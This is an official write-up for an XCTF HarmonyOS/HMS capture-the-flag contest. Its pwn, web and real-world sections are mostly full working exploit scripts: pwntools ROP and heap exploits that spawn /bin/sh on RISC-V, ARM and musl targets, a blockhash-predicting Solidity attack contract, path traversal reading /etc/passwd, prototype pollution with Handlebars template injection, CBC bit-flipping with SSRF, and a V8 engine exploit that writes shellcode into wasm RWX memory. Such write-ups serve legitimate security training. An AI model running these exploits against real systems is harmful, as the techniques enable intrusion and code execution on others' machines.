XCTF高校网络安全专题挑战赛-HarmonyOS和HMS专场 官方Writeup

  XCTF联赛小秘       2021-01-06 17:01:33 2308  0

XCTF高校网络安全专题挑战赛-HarmonyOS和HMS专场 官方Writeup

Misc

rsp

考点:

  • powerpc架构

  • 流量分析

  • gdb server调试

题解:

根据提示,使用gdb连接此端口: 可以看到该目标是powerpc架构的,默认的gdb可能不支持连接此架构,需要支持多架构的gdb: 可以进行continue操作,可以Ctrl-C在运行过程中进行中断: 可看到两个地址比较奇怪,高位不同,低位是一样的 再来抓包看一下连接的的情况: 可以看到服务端支持读取auxv 查看目标auxv: auxv出来的结果也都很奇怪 可以随便找几个数字查看二进制表示,可以发现左边有几个1,右面大段全是0,猜测是大小端错误 powerpc应为大端架构,设置之后再查看auxv就正常了: 尝试从内存中dump出来ELF镜像,发现一次读取太多会导致连接中断: 尝试一次读取一页: 合并内存文件得到一个ELF文件,使用IDA打开,通过查看字符串可知,该ELF程序具有调试器实现,应该跟我们连接的程序是同一个。 查看栈回溯: 使用IDA查看其中的0x100027a8地址 可以看到这里是fork的一个子进程在做死循环,只是简单地打印了信息。 分析到这里,我们目前所具有的条件就很清楚了,我们连上了一个gdbserver的实现,该gdbserver挂到了自己fork出的子进程上,我们可以进行常规的调试操作。 flag应该是在一个文件中。常规的思路是我们直接写入读取文件的shellcode,不过其中的系统调用方面可能比较麻烦,尤其是这还是不常见的powerpc架构。 我们可以看一下程序本身有没有可以借助的部分。在导入函数中搜索open,可以看到程序导入了fopen函数: 转到fopen函数的调用处,可以看到一个完整的打开文件读取内容的函数: 这里读取的是auxv文件的内容,不过我们可以方便地通过调试修改读取的文件名,进而获取其中的内容。完整过程如下: 得到flag:flag{Gd6s3rv3r@frOm_5cr4tch}

ContractGame

考点:

  • 区块链智能合约

  • 考察对动态数组、map类型数据的存储规则计算

  • 考察 blockhash

  • 考察 fallbackmsg.sender 的理解

题解

contract hack {
   ContractGame target = ContractGame(题目地址);
   
   // first: call pwn with 2 ether
   function pwn() payable public {
       bytes32 entropy = block.blockhash(block.number-1);
       bytes1 coinFlip = entropy[10] & 1;
       for(int i=0;i<20;i++){
           if (coinFlip == 1){
               target.BetGame.value(100000000000000000)(true);
          } else {
               target.BetGame.value(100000000000000000)(false);
          }
      }
  }
   
   // second: call AddAuth(题目合约地址)
   // third: call AddAuth(外部账户地址)
   // forth: call AddAuth(攻击合约地址)
   // fifth: after 256 blocks then call fallback(可以通过外部账户直接转账msg.value=0即可,然后会调用closeGame函数)
   
   // sixth: call winGame()
   function winGame() public {
       target.winGame();
  }
   
   function() payable {}
}

pwn

harmoshell-1

描述

Your goal is to emit SendFlag(msg.sender)

考点

  • 未初始化导致stack overflow

题解

from pwn import *

remote_addr=['localhost', 22555] # 23333 for ubuntu16, 23334 for 18, 23335 for 19
#context.log_level=True

is_remote = True

elf_path = "./harmoshell"
elf = ELF(elf_path)
libc = ELF("./libs/lib/libc-2.27.so")

if is_remote:
   p=remote(remote_addr[0],remote_addr[1])
else:
   p = process(["qemu-riscv64", "-L", "./libs", elf_path], aslr = True)


context.terminal = ["tmux", "new-window"]
#p = process(elf_path, aslr = False)
#p = process(["./qemu-riscv64", "-g", "12345" ,"-L", "/usr/riscv64-linux-gnu", elf_path], aslr = True)


ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr = None):
   if addr:
       print('\033[1;31;40m[+] %-15s --> 0x%8x\033[0m'%(s,addr))
   else:
       print('\033[1;32;40m[-] %-20s \033[0m'%(s))

def raddr(a=6):
   if(a==6):
       return u64(rv(a).ljust(8,'\x00'))
   else:
       return u64(rl().strip('\n').ljust(8,'\x00'))

def choice(idx):
   sla("$ ", str(idx))

def touchfile(filename):
   choice("touch " + filename)

def echo(filename, content, is_append = False):
   if is_append == True:
       choice("echo >> " + filename)
   else:
       choice("echo > " + filename)
   sleep(1)
   sn(content)

def rm(filename):
   choice("rm " + filename)

def show(filename):
   choice("cat " + filename)
   ru("Content: ")

if __name__ == '__main__':
   for i in range(20):
       touchfile('B' + hex(i)[2:])

   for i in range(20):
       rm('B' + hex(i)[2:])

   #gdb.attach(p)
   #raw_input()
   for i in range(8):
       touchfile('B' + hex(i)[2:])

   #echo("B7", 'A'*8)
   show('B7')
   libc_addr = u64(rl().strip().ljust(8, '\x00')) + 0x4000000000 - 0x1079f8 # - (0x4000aad768 - libc.symbols['_IO_2_1_stdin_'])
   lg("libc", libc_addr)
   libc.address = libc_addr

   read_got = 0x13060
   read_plt = 0x10dc0
   touchfile("AAA")

   buf = read_plt + 0x300
   pop_init = 0x1182c
   call_3_arg = 0x11812
   mov_s3_a0 = 0x115d8
   system_addr = libc.symbols['system']
   sh_addr = libc.search("/bin/sh\x00").next()
   payload = p64(0)
   payload += p64(0x100) #arg3
   payload += p64(buf) #arg3
   payload += p64(sh_addr) #arg3
   payload += p64(sh_addr) #arg3
   payload += p64(sh_addr) #arg3
   payload += p64(sh_addr) #arg3
   payload += p64(mov_s3_a0) #arg3
   payload += p64(system_addr)*10


   lg("system_addr", system_addr)
   echo("BBB", cyclic(0x100+56) + p64(pop_init) + payload)

   p.interactive()

harmoshell-2

考点

  • heap overflow

题解

from pwn import *

remote_addr=['',0] # 23333 for ubuntu16, 23334 for 18, 23335 for 19
#context.log_level=True

is_remote = False
elf_path = "./harmoshell2"
elf = ELF(elf_path)
libc = ELF("./libs/lib/libc-2.27.so")

context.terminal = ["tmux", "new-window"]
if is_remote:
   p=remote(remote_addr[0],remote_addr[1])
else:
   p = process(["qemu-riscv64", "-L", "./libs", elf_path], aslr = True)


ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr = None):
   if addr:
       print('\033[1;31;40m[+] %-15s --> 0x%8x\033[0m'%(s,addr))
   else:
       print('\033[1;32;40m[-] %-20s \033[0m'%(s))

def raddr(a=6):
   if(a==6):
       return u64(rv(a).ljust(8,'\x00'))
   else:
       return u64(rl().strip('\n').ljust(8,'\x00'))

def choice(idx):
   sla("$ ", str(idx))

def touchfile(filename):
   choice("touch " + filename)

def echo(filename, content, is_append = False):
   if is_append == True:
       choice("echo >> " + filename)
   else:
       choice("echo > " + filename)
   sleep(1)
   sn(content)

def rm(filename):
   choice("rm " + filename)

def show(filename):
   choice("cat " + filename)
   ru("Content: ")

if __name__ == '__main__':
   for i in range(20):
       touchfile('B' + hex(i)[2:])

   for i in range(20):
       rm('B' + hex(i)[2:])

   for i in range(8):
       touchfile('B' + hex(i)[2:])

   show('B7')
   libc_addr = u64(rl().strip().ljust(8, '\x00')) + 0x4000000000 - 0x1079f8 # - (0x4000aad768 - libc.symbols['_IO_2_1_stdin_'])
   #libc_addr = raddr() - 0x3ebca0
   lg("libc", libc_addr)
   libc.address = libc_addr

   echo("B2", '/bin/sh\x00' + "A"*0xf8)
   echo("B2", p64(0)*2 + 'B'*8 + p64(0) + p64(libc.symbols['__free_hook']), True)
   echo('B'*8, p64(libc.symbols['system']))
   rm('B2')
   p.interactive()

pwnit

描述:

just pwn it !

考点:

  • 主要考察arm环境下的万能gadget使用

题解:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from __future__ import print_function
from pwn import *

#binary = ['qemu-arm-static', '-g', '1234', '-L', './', './a.out']
binary = ['qemu-arm-static', '-L', './', './a.out']

io = process(binary, aslr = 1)
context.log_level = 'debug'

myu64 = lambda x: u64(x.ljust(8, '\0'))
ub_offset = 0x3c4b30
codebase = 0x555555554000

io.recvuntil("input: ")
g1 = 0x10540
g2 = 0x10548
printf_got = 0x0002100C
main = 0x104a0


buf = b'a' * 0x100 + p32(0xdeadbeef) + p32(g1)
buf += p32(printf_got) # r4
buf += p32(1) #r5
buf += p32(printf_got) #r6 = r0
buf += p32(0) #r7 = r1
buf += p32(0) #r8 = r2
buf += p32(0) #r9
buf += p32(0) #r10
buf += p32(g2) #pc

buf += p32(0) * 7 + p32(main)
io.sendline(buf)

libc_addr = u32(io.recvn(4)) - 250780
log.info("\033[33m" + hex(libc_addr) + "\033[0m")
system_addr = libc_addr + 215056
sh_addr = libc_addr + 1042529

pop_r0_r4_pc = libc_addr + 0x0006beec
buf = b'a' * 0x100 + p32(0xdeadbeef) + p32(pop_r0_r4_pc) + p32(sh_addr) + p32(0) + p32(system_addr)
io.sendline(buf)


io.interactive()

Reverse

re123

描述

简单的逆向

考点

  • 算法逆向

  • 迷宫

题解

题目实际上要解的是一个迷宫,wasd分别对应上下左右 有三层关卡,通过了三层关卡之后才能够拿到最后正确信息

最后的输入内容是

sssssssdddddddsssssssssssddddddddddsddssddwddssssssdddssssdddss

flag{youcangues}

aRm

描述

easy aRm

考点

  • 32位ARM程序的逆向

  • ARM中的随机数生成

  • 多元方程组求解、异或加密

题解

  • 题目给出了一个ARM32位程序和一个output.txt,使用qemu进行运行,使用IDA进行静态分析,根据字符串“flag{”的引用可以找到main函数在sub_10628。注意IDA对sub_17894函数(即printf)的解析有问题,会解析成noreturn类型的函数,可以手动把第一条指令改成BX LR就可以正常解析。

  • 逆向程序逻辑,首先程序读取一个int类型的key和一个flag字符串,然后验证flag的长度为42,开头为“flag{”,结尾为“}”,然后与一个常量数组进行异或。

  • 接下来,程序将key的最低byte作为srand种子,生成随机系数构造了一个42元方程组,并将方程组计算结果通过16进制的形式打印。

  • 因此我们需要爆破256个srand种子,求解方程后异或常量数组还原flag,根据还原的flag是否以“flag{”开头来判断是否为正确的flag。这里尤其要注意如果在不同环境下使用srand和rand生成随机数结果会有不同,因此可以在arm平台上运行解题脚本或使用qemu调试给出的程序来进行随机数的爆破。解题文件夹中的get_rand.c在arm平台下编译运行可以得到种子为0~255时随机的系数,然后导入sol.py中求解线性方程组再回复异或加密,即可得到flag。

pe

描述

Can you run this ARM PE?

考点

  • 64位ARM PE程序的逆向分析与运行

  • playfair加密算法的逆向和还原

  • C++字符串、元组、输入输出流等结构的识别与还原

题解

  1. 题目给出了一个exe程序,但是无法直接运行,逆向发现是ARM64架构的程序,因此要运行需要使用QEMU模拟器运行ARM64架构的windows,或者静态逆向进行分析。

  2. 逆向程序逻辑,通过搜索flag{的交叉引用找到main函数,发现程序使用c++编写,输入的flag是命令行参数,然后通过一系列c++ string的操作将其加密,flag必须全是大写字母,如果加密后等于一个固定值则包上flag{}使用cout输出。

  3. 观察到加密的过程中会使用到一个5*5的大写字母码表,根据加密特征可以判断为playfair加密,可以从网上找一份脚本对照进行修改,还原程序逻辑。

  4. 解密playfair密文KIMLXDWRZXTHXTHQTXTXHZWC得到原文YESMAYBEYOUCANRUNANARMPE,因此flag为flag{YESMAYBEYOUCANRUNANARMPE}

puzzle

描述

solve this MIPS puzzle

考点

  • 32位MIPS程序的逆向

  • base64编码算法及编码表的使用

  • 数字华容道问题的求解

题解

  1. 使用IDA加载程序,发现是32位大端MIPS程序,main函数在sub_401560

  2. 分析main函数,发现程序将输入做了一个base64解码,但是解码的过程中在访问码表时有18个字节的偏移,需要手动调整

  3. 解码后的字符串判断了为数字,然后送入sub_401134函数进行检查

  4. 检查中判断了输入数字是否为2、4、6、8,然后在一个3*3的矩阵中进行上下左右移动,最终矩阵要等于[1,2,3,4,5,6,7,8,0],可以看出是一个数字华容道游戏

  5. 使用bfs或A*算法可以找到一个15步的解884226886224488,而题目刚好要求15步,因此是唯一解。将这个解通过换码表的base64编码后得到8xOi6R2k8xOk6R2i7xOm,输入程序即可得到flag,解题脚本见解题文件夹。(python3 sliding_puzzle.py)

crash

描述

crash文件逆向

考点

  • 函数符号表恢复

题解

  1. 题目给的是一个coredump文件,从coredump文件中提取出binary文件,并恢复出库函数符号,详见get_bin_from_crash.py,最终得到的文件用ida打开后保存得到test.idb。

  2. 在ida中静态分析test.idb,并计算出flag,详见brute_solve.py。

WEB

华为HCIE的第一课

描述

一个简单的web

考点

  • 任意文件读取

  • JSON注入

  • 原型链污染

  • HandleBars模板注入

题解

#!/usr/bin/env python3
#-*- coding:utf-8 -*-

import requests as req
import re

url = "http://127.0.0.1:2334/" #you just need to modify the url

def arbitrary_file_read():
s= '''http://127.0.0.1:2334/?f=../app.js
http://127.0.0.1:2334/?f=../routes/admin.js
http://127.0.0.1:2334/?f=../routes/calc.js
http://127.0.0.1:2334/?f=../routes/login.js
http://127.0.0.1:2334/?f=../routes/util.js
'''
print("这里是演示任意文件读取,你可以这样来读取源码:")
print(s)
print("现在只是个简单的演示,读取/etc/passwd:")
print(req.get(url+"?f=../../../../../../../../../etc/passwd").text, end='\n')

def main():
arbitrary_file_read()
s = req.session()

#login and prototype pollution
data = {
"username" : '''Y1ng", "__proto__" : {"isAdmin" : 1 }, "name2" : "a'''
}
s.post(url=url, data=data)

#make sure pullute successfully
r = s.get(url=url+"admin")
if 'forbidden' not in r.text:
print("污染成功\n")
else:
print("污染失败")
exit(-1)

#Handlebars Template Injection
data = {
"code" : r"{{#each this}}{{#each this}}{{this.toString}}{{/each}}{{/each}}",
"submit" : "submit"
}

r = s.post(url=url+"admin", data=data)
search = re.search(r"flag{.*}", r.text)
try:
print("flag is here:\n"+search.group())
except:
print("exp failed")

if __name__ == '__main__':
main()

ezlogin

描述

一个平平无奇的登录界面

考点

  • cbc字节翻转攻击

  • SSRF攻击

题解

#!/usr/bin/env python
# -*- coding: utf-8 -*-
import urllib
import requests
import re
import base64
url = "http://0.0.0.0:20001/"
data = {
   "username":"1dmin",
   "password":"1231111",
   "submit":"Login"
}
r = requests.post(url=url,data=data)
list = r.headers['Set-Cookie'].split(", ")
iv = urllib.unquote(list[1][4:])
cipher = base64.b64decode(urllib.unquote(list[2][10:]))
phpsessid = list[0].split(";")[0][10:]
block = []
for i in range(0,len(cipher),16):
   block.append(cipher[i:i+16])
replace = chr(ord(block[0][9]) ^ ord('1') ^ ord('a'))
block[0] = block[0][:9]+replace+block[0][10:]
iv = base64.b64decode(iv)
cipher_new = ""
for i in range(0,len(block)):
   cipher_new += block[i]
cookie={
   "PHPSESSID":phpsessid,
   "user_info":urllib.quote(base64.b64encode(cipher_new)),
   "key":urllib.quote(base64.b64encode(iv))
}
s = requests.get(url=url,cookies=cookie)
res_tr = r"<p>.*?</p>"
m_tr =  re.findall(res_tr,s.content)
base = m_tr[0][3:-4]
plain = base64.b64decode(base)[:16]
want = 'a:2:{s:8:"userna'
first_16 = ''
for i in range(16):
   first_16 += chr(ord(plain[i]) ^ ord(iv[i]) ^ ord(want[i]))
newiv = first_16
cookie={
   "PHPSESSID":phpsessid,
   "user_info":urllib.quote(base64.b64encode(cipher_new)),
   "key":urllib.quote(base64.b64encode(newiv))
}
k = requests.get(url=url,cookies=cookie)
url2 = url+'mmman4g.php?url=FILe://@127.0.0.1:80@www.harmonyos.com/.//../../var/www/html/flag.php'
cookie = {
"PHPSESSID":phpsessid
}
r = requests.get(url=url2,cookies = cookie)
res_tr = r"'.*?}'"
m_tr =  re.findall(res_tr,r.content)
print 'admin PHPSESSID:',phpsessid
print m_tr[0][1:-1]

RealWorld赛题

harmodriver

描述

内核驱动

考点

  • info leak

  • UAF

  • ROP

题解

from pwn import *

p = remote("127.0.0.1", 22222)


with open("./sample_test", 'r') as f:
   content = f.read()

content = content.encode('hex')
l = len(content)

p.recvline()
start = 0
left = l
while left > 0:
   if left < 0x1000:
       to_read_size = left
   else:
       to_read_size = 0x1000

   p.sendline(content[start: start + to_read_size])
   start += to_read_size
   left -= to_read_size

p.sendline("Exit")

p.interactive()

Harmofs

描述

简单的文件系统

考点

  • abs函数的漏洞

  • musl libc的堆利用

  • ROP

题解

from pwn import *

remote_addr=['localhost', 22222] # 23333 for ubuntu16, 23334 for 18, 23335 for 19
#context.log_level=True

#elf_path = "./honormap"
#elf = ELF(elf_path)
libc = ELF("./libc.so")
is_remote = True
#context.terminal = ["tmux", "new-window"]
#p = process(elf_path, aslr = False)
if is_remote:
    p=remote(remote_addr[0],remote_addr[1])
else:
    p = process("./start_qemu.sh")


ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr = None):
    if addr:
        print('\033[1;31;40m[+]  %-15s  --> 0x%8x\033[0m'%(s,addr))
    else:
        print('\033[1;32;40m[-]  %-20s \033[0m'%(s))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

def cmd(c):
    sla("Sh > ", c)

def new_file(size, name):
    cmd("touch")
    sla(": ", str(size))
    sla(": ", name)

def read_file(filename, content):
    cmd("fileop")
    sla(": ", filename)
    sla(": ", '1')
    sla(": ", str(len(content) + 1))
    sleep(1)
    sl(content)

def write_file(filename, size):
    cmd("fileop")
    sla(": ", filename)
    sla(": ", '2')
    sla(": ", str(size))

def seek_file(filename, mode, value):
    cmd("fileop")
    sla(": ", filename)
    sla(": ", '3')
    sla(": ", str(mode))
    sla(": ", str(value))

def close_file(filename):
    cmd("fileop")
    sla(": ", filename)
    sla(": ", '4')

if __name__ == '__main__':
    sleep(16)
    ru("Gift: ")
    puts_addr = int(rl(), 16)
    ru("Gift: ")
    code_addr = int(rl(), 16) - 0x12D8
    libc.address = puts_addr - libc.symbols['puts']
    env_addr = libc.symbols['environ']
    lg("libc address", libc.address)
    lg("code_base addr", code_addr)
    lg("env addr", env_addr)

    for i in range(16):
        new_file(0x300, "Ne0PWN" + str(i) + '\x00')

    file_to_hack = "Ne0PWN13\x00"

    seek_file(file_to_hack, 0, 0x80000000)
    seek_file(file_to_hack, 1, 0x7FFFFFFc)
    read_file(file_to_hack, p32(0x7FFFFFFF))

    close_file("Ne0PWN12\x00")
    close_file("Ne0PWN14\x00")

    seek_file(file_to_hack, 0, 792)
    write_file(file_to_hack, 4)
    ru("4\r\n\r")
    buf_addr = u32(rv(4)) + 0x0354
    lg("buf_addr", buf_addr)

    offset = env_addr - buf_addr

    seek_file(file_to_hack, 0, offset)
    write_file(file_to_hack, 4)
    ru("4\r\n\r")
    stack_addr = u32(rv(4)) - 1496
    lg("stack_addr", stack_addr)
    #raw_input()
    seek_file(file_to_hack, 0, 0)
    read_file(file_to_hack, '/etc/flag\x00') 

    seek_file(file_to_hack, 0, stack_addr - buf_addr)
    popr4_r8pc = libc.address + 0x00084c34
    cat_file = code_addr + 0x1248
    read_file(file_to_hack, p32(popr4_r8pc) + p32(buf_addr)*5 + p32(popr4_r8pc + 4) + p32(0)*5 + p32(cat_file))
    p.interactive()

LuaPlayground 1

描述

第一个简单的lua利用

题解

c = io.open("/storage/test1.lua","w")
io.output(c)

通过打开storage的文件,写入一个base64的脚本,然后通过改变package.path,来require这个脚本,现在有了base64的函数以后可以

f = io.open("flag_app","rb")
print(to_base64(f:read("*a")))

来把这题的flag_app读出来。最后逆向可得flag

LuaPlayground 2

描述

第二个简单的lua利用

考点

  • Lua加密方式探索

涉及鸿蒙特性的利用过程:Lua被广泛应用于嵌入式系统上,探索在鸿蒙系统下可以使用的Lua引擎加密方式

题解

用第一题的方法把flag2.lua读出来,然后逆向分析第一题固件当中的lua binary,得到Lua code table以后修改luadec后反编译即可得到答案。

V8

描述

vvvvv88888

考点

  • v8引擎漏洞利用题目

  • 因为删除的codedependency导致漏洞的产生,map无法正常发挥他的作用

  • 可以通过构造BigUintArray来exploit

题解

const MAX_ITERATIONS = 0x10000;
var maxSize = 1028*8;

var buf =new ArrayBuffer(16);
var float64 = new Float64Array(buf);
var bigUint64 = new BigUint64Array(buf);
var uint32 = new Uint32Array(buf);
// Floating point to 64-bit unsigned integer
function f2i(f)
{
    float64[0] = f;
    return bigUint64[0];
}
// 64-bit unsigned integer to Floating point
function i2f(n)
{
    bigUint64[0] = n;
    return float64[0];
}

function f2half(val)
{
    float64[0]= val;
    let tmp = Array.from(uint32);
    return tmp;
}

function half2f(val)
{
    uint32.set(val);
    return float64[0];
}
// 64-bit unsigned integer to hex
function hex(i)
{
    return "0x"+i.toString(16).padStart(16, "0");
}

function wasm_func() {
    var wasmImports = {
        env: {
            puts: function puts (index) {
                print(utf8ToString(h, index));
            }
        }
    };

    var buffer = new Uint8Array([0,97,115,109,1,0,0,0,1,137,128,128,128,0,2,
        96,1,127,1,127,96,0,0,2,140,128,128,128,0,1,3,101,110,118,4,112,117,
        116,115,0,0,3,130,128,128,128,0,1,1,4,132,128,128,128,0,1,112,0,0,5,
        131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,146,128,128,128,0,2,6,
        109,101,109,111,114,121,2,0,5,104,101,108,108,111,0,1,10,141,128,128,
        128,0,1,135,128,128,128,0,0,65,16,16,0,26,11,11,146,128,128,128,0,1,0,
        65,16,11,12,72,101,108,108,111,32,87,111,114,108,100,0]);
    let m = new WebAssembly.Instance(new WebAssembly.Module(buffer),wasmImports);
    let h = new Uint8Array(m.exports.memory.buffer);
    return m.exports.hello;
}

function gc(){
    for(let i = 0; i < 100; ++i){
        new ArrayBuffer(0x100000);
    }
}
// wasm obj
func = wasm_func();


a = [1.1, 2.2, 3.3, 4.4];
a.x = 1;

function foo(idx, val, idx2, flag){
	idx = idx & 0xffff;
	if (flag == 1){
		a[idx2] = val;
	}
	return a[idx];
}
for(let i = 0; i < 0x10000; i++){
	foo(1, 1, 0, 1);
}
a[0x1000] = 1;

b = [1.1];
vulnArray = [1.1, 2.2, 3.3, 4.4, 5.5, 6.6, 7.7, 8.8, 9.9];
ab = new ArrayBuffer(0x200);
objArray = {m:0xdead, n:func};
bigUintArray = new BigUint64Array(6);
bigUintArray[0] = 0x1234n;
bigUintArray[1] = 0x5678n;


//find the length of the vulnArray
//console.log(i2f(0xdeadbeefn));
vulnArray[0] = 1.8457939563e-314;
var lengthIdx = 0;
for(let i = 0; i < 0x100; ++i){
    if(f2half(foo(i,0,0,0))[0] == 0xdeadbeef){
        console.log("Found on 0: " + i);
        lengthIdx = i - 3;

        //changing length
        var tmp = f2half(foo(lengthIdx, 0, 0, 0));
        tmp[1] = 0x2020 << 1;
        foo(0, half2f(tmp), lengthIdx, 1);
        console.log(hex(f2i(foo(lengthIdx,0,0,0))));
        if(vulnArray.length > 8)
            console.log(vulnArray.length);
            break;
    }
    if(f2half(foo(i,0,0,0))[1] == 0xdeadbeef){
        console.log("Found on 1: " + i);
        lengthIdx = i - 2;
        
        //changing length
        var tmp = f2half(foo(lengthIdx, 0, 0, 0));
        tmp[0] = 0x2020 << 1;
        foo(0, half2f(tmp), lengthIdx, 1);
        console.log(hex(f2i(foo(lengthIdx,0,0,0))));
        if(vulnArray.length > 8)
            console.log(vulnArray.length);
            break;
    }
}


var floatArrayBigBaseIdx = 0;
var floatArrayBigExternalIdx = 0;
for(let i=0; i<0x100; i++) {
    if(f2half(vulnArray[i])[0] == 0x1234){
        floatArrayBigBaseIdx = i + 12;
        floatArrayBigExternalIdx = i + 11;
        floatArrayBigLenIdx = i + 10;
        console.log("[+] float idx of big uint array base addr is: "+hex(floatArrayBigBaseIdx));
        console.log("[+] float idx of big uint array external addr is: "+hex(floatArrayBigExternalIdx));
        var bigUintArrayLen = f2i(vulnArray[floatArrayBigLenIdx]);
        var bigUintArrayBasePtr = f2i(vulnArray[floatArrayBigBaseIdx]);
        var bigUintArrayExternalPtr = f2i(vulnArray[floatArrayBigExternalIdx]);
        var compressHeapHighAddr = bigUintArrayExternalPtr & 0xffffffff00000000n;
        print ("[+] heap high addr: " + hex(compressHeapHighAddr));
        
        break;
    }
}


function InHeapRead64(addr)
{
    vulnArray[floatArrayBigBaseIdx] = i2f(addr-0x8n);
    let ret = bigUintArray[0];
    vulnArray[floatArrayBigBaseIdx] = i2f(bigUintArrayBasePtr);
    return ret;

}

function InHeapWrite64(addr, val)
{

    vulnArray[floatArrayBigExternalIdx] = i2f(addr-0x8n);
    bigUintArray[0] = val;
    vulnArray[floatArrayBigExternalIdx] = i2f(bigUintArrayExternalPtr);
    return;
}

function ByteToBigIntArray(payload)
{

    let sc = [];
    let tmp = 0n;
    print("lenpay: ", payload.length);
    let lenInt = BigInt(Math.floor(payload.length/8))
    print("lenInt:", lenInt);
    for (let i = 0n; i < lenInt; i += 1n) {
        tmp = 0n;
        for(let j=0n; j<8n; j++){
            tmp += BigInt(payload[i*8n+j])*(0x1n<<(8n*j));
        }
        sc[i] = tmp;
    }
    print(sc);

    let len = payload.length%8;
    tmp = 0n;
    for(let i=0n; i<len; i++){
        tmp += BigInt(payload[lenInt*8n+i])*(0x1n<<(8n*i));
    }
    sc[lenInt] = tmp;
    return sc;
}

function InHeapWrite(addr, payload)
{
    sc = ByteToBigIntArray(payload);

    vulnArray[floatArrayBigLenIdx] = i2f(payload.length);
    vulnArray[floatArrayBigBaseIdx] = i2f(addr-0x8n);

    for(let i = 0; i<sc.length; i+=i) {
        bigIntArray[i] = sc[i];
    }

    vulnArray[floatArrayBigBaseIdx] = i2f(bigUintArrayBasePtr);
    vulnArray[floatArrayBigLenIdx] = bigUintArrayLen;
}

function ArbitratyWrite(addr, payload)
{

    sc = ByteToBigIntArray(payload);
    print(sc);

    vulnArray[floatArrayBigLenIdx] = i2f(BigInt(sc.length));
    vulnArray[floatArrayBigBaseIdx] = i2f(0n);
    vulnArray[floatArrayBigExternalIdx] = i2f(addr);
    for(let i = 0; i<sc.length; i+=1) {
        bigUintArray[i] = sc[i];
    }

    vulnArray[floatArrayBigLenIdx] = bigUintArrayLen;
    vulnArray[floatArrayBigBaseIdx] = bigUintArrayBasePtr;
    vulnArray[floatArrayBigExternalIdx] = bigUintArrayExternalPtr;
}

function AddrOf(obj)
{
    objArray.n = obj;
    for(let i=0; i<maxSize; i++) {
        let half = f2half(vulnArray[i]);
        if( half[0] == (0xdead<<1) ) {
            //print("123");
            ret = half[1];
            break;
        }
        else if( half[1] == (0xdead<<1) ) {
            //print("456");
            ret = f2half(vulnArray[i+1])[0];
            break;
        }
    }

    return BigInt(ret)
}

function FakeObj(addr)
{
    for(let i=0; i<maxSize; i++) {
        let half = f2half(vulnArray[i]);
        if(half[0] == (oxdead<<1)) {
            half[1] = addr;
            vulnArray[i] = half2f(half);
            return objArray.n;
        }
        else if(half[1] == (0xdead<<1)) {
            half = f2half(vulnArray[i+1]);
            half[0] = addr;
            vulnArray[i+1] = half2f(half);
            return objArray.n;
        }
    }
}




var wasmObjAddr = AddrOf(func);
var sharedInfoAddr = InHeapRead64(wasmObjAddr+0xcn)&0xffffffffn;
var wasmExportedFunctionDataAddr = InHeapRead64(sharedInfoAddr+4n)&0xffffffffn;
var instanceAddr = InHeapRead64(wasmExportedFunctionDataAddr+0x8n)&0xffffffffn;
var rwxAddr = InHeapRead64(instanceAddr+0x68n);
//%DebugPrint(func);
console.log("[+] wasm obj addr: "+hex(wasmObjAddr));
console.log("[+] wasm shared info addr: "+hex(sharedInfoAddr));
console.log("[+] wasmExportedFunctionData addr addr: "+hex(wasmExportedFunctionDataAddr));
console.log("[+] instance  addr addr: "+hex(instanceAddr));
console.log("[+] rwx addr: "+hex(rwxAddr));


var shellcode = [0x31, 0xc0, 0x48, 0xbb, 0xd1, 0x9d, 0x96, 0x91, 0xd0, 0x8c, 0x97, 0xff, 0x48, 0xf7, 0xdb, 0x53, 0x54, 0x5f, 0x99, 0x52, 0x57, 0x54, 0x5e, 0xb0, 0x3b, 0x0f, 0x05];
ArbitratyWrite(rwxAddr, shellcode);
//print(payload.length);
func();

FHWH

描述

HMS app

考点

  • HMS Core 计算加速服务

  • HMS Core 线性马达能力

  • HMS Core 近距离通信服务

  • 加密数据中真实数据寻找

  • 代码混淆

  • AES CBC、Tea、RC4加密

题解

逆向分析FHWH_Slaver App,对输入XCTFHarmonyOS和HMS专题赛中的sec2.data进行AES解密,解密正确后调用发送文件功能,再分析第二个APP。

反编译主要APP,并定位Confirm按钮对应的函数,_com_lh_hmstry_MainActivity_checkKey

对输入使用sub_DD8处理,为典型的Tea加密函数。

Honormap

描述

一个微型地图应用

考点

  • scanf的类型混淆,

  • 整数溢出导致堆溢出

  • musl libc的堆分配特性

题解

from pwn import *

remote_addr=['localhost', 22222] # 23333 for ubuntu16, 23334 for 18, 23335 for 19
context.log_level=True

#elf_path = "./honormap"
#elf = ELF(elf_path)
#libc = ELF("/lib/x86_64-linux-gnu/libc-2.27.so")

context.terminal = ["tmux", "new-window"]
p=remote(remote_addr[0],remote_addr[1])
#p = process(elf_path, aslr = False)
#p = process("./start_qemu.sh")


ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda   : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)

def lg(s,addr = None):
    if addr:
        print('\033[1;31;40m[+]  %-15s  --> 0x%8x\033[0m'%(s,addr))
    else:
        print('\033[1;32;40m[-]  %-20s \033[0m'%(s))

def raddr(a=6):
    if(a==6):
        return u64(rv(a).ljust(8,'\x00'))
    else:
        return u64(rl().strip('\n').ljust(8,'\x00'))

def cmd(c):
    sla("CMD > ", c)

def new_map(height, width, map_type):
    cmd("alloc")
    sla(": ", hex(height))
    sla(": ", hex(width))
    sla(": ", hex(map_type))

def edit_map(idx, x, y, content):
    cmd("edit")
    sla(": ", str(idx))
    sla(": ", str(x))
    sla(": ", str(y))
    sla(": ", str(len(content)))
    sa(": ", content)

def show_map(idx):
    cmd("view")
